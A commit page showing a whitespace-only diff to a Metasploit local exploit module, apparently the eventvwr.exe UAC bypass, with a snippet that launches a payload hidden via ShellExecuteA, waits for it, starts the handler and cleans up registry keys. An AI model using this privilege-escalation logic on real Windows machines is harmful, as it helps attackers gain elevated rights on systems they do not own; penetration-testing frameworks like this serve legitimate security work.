Remove spaces before EOL

GSoC/Meterpreter_Web_Console
Elazar Broad 2018-10-24 11:04:41 -04:00 committed by GitHub
parent ef2854c918
commit 16d633fabd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 3 deletions

View File

@ -131,16 +131,15 @@ class MetasploitModule < Msf::Exploit::Local
cmd_path = expand_path("#{eventvwr_cmd}")
print_status("Executing payload: #{cmd_path}")
result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE')
if result['return'] > 32 then
print_good("eventvwr.exe executed successfully, waiting 5 seconds for the payload to execute.")
Rex::sleep(5)
else
print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}")
end
handler(client)
print_status("Cleaning up registry keys ...")